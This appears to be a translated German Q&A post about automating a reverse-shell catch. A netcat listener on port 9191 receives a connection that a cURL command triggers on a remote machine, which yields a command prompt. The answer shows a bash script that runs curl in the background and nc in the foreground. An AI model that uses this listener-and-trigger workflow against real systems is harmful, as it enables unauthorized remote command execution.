
Diese Frage bezieht sich eher auf Infosec, aber ich kann scheinbar keine Problemumgehung zur Automatisierung des folgenden Prozesses finden:
Es gibt einen cURL-Befehl, der eine Verbindung zu netcat herstellt. Ohne Automatisierung gebe ich ein nc -lvnp 9191
und inein andererIm Terminal gebe ich den cURL-Befehl ein, der eine Verbindung zu meinem Computer auf Port 9191 herstellt, die ich dann verwenden kann, um einige Befehle auf einem Remotecomputer auszuführen.
Ich versuche so etwas in meinem Bash-Skript:
nc -lvnp 9191&
curl ......
Netcat startet einen Listener, geht in den Hintergrund, cURL löst die Verbindung aus (ich erhalte die Verbindung zurück), aber Netcat wird sofort beendet.
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
Wenn ich das aus dem Bash-Skript entferne nc -lvnp 9191&
und nur den cURL-Befehl im Bash-Skript lasse, passiert Folgendes:
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
Sobald ich jedoch die Eingabetaste drücke, wird der Netcat-Job sofort angehalten:
[1] + 22609 suspended (tty input) nc -lvnp 9191
Ich muss fg
den Netcat-Job wieder aufnehmen und weiterarbeiten, aber ich frage mich, ob ich mich irgendwie vor all dem retten kann.
Antwort1
Nachdem wir es mit jemandem besprochen hatten, gelang es uns schließlich, es zum Laufen zu bringen. Wir haben die Zeilenpositionen geändert, sodass curl
zuerst (aber als Hintergrundjob) und dann netcat
(ohne Hintergrund) kommt. Der Ansatz sieht folgendermaßen aus:
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191